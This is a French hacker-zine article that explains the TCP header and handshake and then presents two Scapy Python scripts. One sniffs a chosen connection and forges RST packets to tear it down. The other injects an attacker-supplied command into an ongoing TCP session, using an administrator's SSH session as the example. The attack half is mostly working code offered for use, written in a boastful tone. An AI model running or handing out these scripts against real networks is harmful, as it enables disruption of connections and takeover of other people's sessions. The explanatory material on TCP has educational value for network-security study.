0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Port Source | Port de Destination |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro de Séquence |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro d'acquiescement |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Offset | |+|+|+|+|+|+| |
| des | Reservé |+| Flags |+| Fenêtre (Window) |
|données| |+|+|+|+|+|+| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Pointeur Urgent |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Données |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port source (16 bits):
C'est le port qui est utilisé par la machine source.
Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.
Numéro de Séquence (32 bits):
C'est le numéro du paquet
Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".
Offset des données (4 bits):
Ce champ indique où débute les données.
Réserve:
Ce champ sert pour des besoins futurs, il est à 0.
Flags (1 bit):
URG: Pointeur de données urgente
ACK: Acquittement
SYN: Synchronisation
PSH: Transfert de données
FIN: Fin de transmission
RST: Reset de la connexion
Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir
de la position indiquée dans l'accusé de réception
Checksum (16 bits):
Indique la validité du paquet
Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage
par rapport au numéro de séquence, ce champ est activé
que lorsque le Flag URG est à 1
Options (8 bits):
Option mono-octet
Octet de type, de longueur et de valeur d'option
Padding (0 à 7 bits):
"Bourre" le champ Options pour obtenir une trame TCP
multiple de 32 bits
Données:
Ce sont les données transmises (login, mot de passe, etc)
Une session TCP comporte 3 étapes au cours de sa durée de vie: la "poignée de main" (handshake), l'échange de données à
proprement parler, puis la fermeture de la connexion.
Three-Way Handshake
C'est un nom bien bizarre je vous l'accorde. Il s'agit tout simplement du terme utilisé pour désigner les trois étapes
d'établissement d'une connexion, que nous allons voir ci-dessous.
Première étape:
A -------- Flag SYN, seq=x --------> B
A envoie à B une demande de synchronisation pour débuter un dialogue
en indiquant un numéro de séquence égal à x.
Deuxième étape:
A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B
B acquiesce le numéro de séquence de A en lui indiquant son numéro de séquence qui est égale a y,
puis un numéro de "ack" (accusé de réception) égal à x+1
Troisième étape:
A -------- Flag ACK, seq=x+1, ack=y+1 --------> B
A acquiesce le numéro de séquence de B en lui indiquant son numéro de séquence qui est égale a x+1 (la valeur ack du paquet précédent)
puis un numéro d'ack égal à y+1 (la valeur seq du paquet précédent).
Transfert de données
Pour le transfert de données, TCP utilise le flag PSH (push) et le flag ACK.
A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B
A <------- Flag ACK, seq=x+1, ack=(y+1)+len(DATA) --------- B
A envoie la donnée test\n a B.
B, quand à lui, acquiesce la réception en indiquant comme numéro de séquence l'ack du paquet précédent,
et comme accusé de réception (ack) la valeur du numéro de séquence du paquet précédent plus la taille des données reçues.
Fin de Connexion
Pour mettre fin à une connexion, TCP utilise le flag FIN pour terminer proprement la connexion, mais en réalité,
dans la plupart des cas, on utilise le flag RST (reset), qui lui finit brutalement la connexion.
0x03 - RST Hijacking
Le RST Hijacking consiste à clore nous-mêmes la connexion via un paquet TCP avec le flag RST (reset),
rt pour cela il nous faut avoir le numéro de séquence et l'acknowledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire, nous allons coder un script python en utilisant Scapy.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
A <------- Flag ACK, seq=1200, ack=1006 --------- B
P -------- Flag RST, seq=1006, ack=1200 --------> B
Le script:
# RST Hijacking Script
# Usage: rsthijack.py remote_host remote_port target
#!usr/bin/env/python
"""On importe tout les modules de scapy et sys"""
from scapy.all import *
import sys
"""Filtre a appliquer au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting..."
print " "
"""Fonction Utilisée par le sniffer à chaque paquet reçu"""
def rst_hijack(p):
"""Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Connection Found!"
print " "
print "[+] It's time to blow this shit!"
"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: RST"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
"""On forme le paquet final"""
reset = ether/ip/tcp
"""On l'envoi"""
sendp(reset)
"""On sort du script"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
TCP Session Hijacking
Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH. Il crée une connexion d'un client
A à un Serveur B qui dialoguen entre eux en utilisant un numéro de séquence et un acknowledge que seul A et B
connaissent.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion
et de désynchroniser A de B.
NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre
A et B.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B
A <------- Flag ACK, seq=1200, ack=1004 --------- B
P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B
P <------- Flag ACK, seq=1200, ack=1012 --------- B
--------------------------- ACK Storm -----------------------------
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
Reprenons le précédent script en modifiant quelques lignes:
#TCP Session Hijacking Script
#Usage: hijack.py serveur_ip serveur_port client_ip
#!usr/bin/env/python
from scapy.all import *
import sys
"""Filtre a appliqué au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
print " "
def hijack(p):
cmd=sys.argv[4] """On Stock la commande a executer"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Found!"
print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
"""Seq = Seq_du_paquet_precedent + Len_des_Datas"""
print "Hijack Seq: " + str(p[TCP].ack) + " | Hijack Ack: " + str(p[TCP].seq)
print " "
print "[+] Hijack Session!"
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: PUSH/ACK"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
"""On ajoute la commande au paquet"""
hijack = ether/ip/tcp/(cmd+"\n")
sendp(hijack)
"""On sort du script, sinon il repondrat dans l'ACK Storm"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
0x03 - Conclusion
Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local.
De plus la présence des deux machines sur le réseau n'est pas requise, une seule machine suffit.
Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN,
des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.
Remerciements
Je tient à remercier aaSSfxxx et B@rBcH pour leurs relectures
> Comment contribuer
Nous acceptons tout type d'article concernant la programmation, des explications sur diverses attaques, la
philosophie et la mentalité hacker ou encore la culture "underground", cependant nous vous recommandons de suivre
ces recommandations:
Essayer d'écrire dans un français le plus correct possible, afin de rester compréhensible pour éviter une phase de
décodage au lecteur (ou aux responsables du webzine)
Faire un article un minimum structuré et d'une longueur acceptable (en évitant les articles de 5 lignes et les romans de
10 pages).
Utiliser un format non obscur (éviter les formats propriétaires tels que les .doc), et la rédaction appréciera grandement
les articles rédigés en html5.
Essayer de limiter les images dans les articles, qui alourdissent le zine, ou du moins essayer de les compresser au maximum.
Ecrire un article original et intéressant: pas la peine de faire un n-ième paper sur comment réaliser des injections sql,
il y a plein de tutos sur internet sur ce sujet. Cependant, un article décrivant une méthode inconnue ou peu utilisée sera sûrement utile.
L'humour est bienvenu dans les articles, à condition de ne pas avoir un humour vulgaire ou insultant envers certaines catégories de personnes.
Vous pouvez envoyer vos articles directement à l'adresse redaction@n-pn.info, ou contacter un administrateur sur
N-PN pour soumettre votre article.
Nous espérons que vous serez nombreux à contribuer au zine par vos articles ou simplement nous apporter votre soutien moral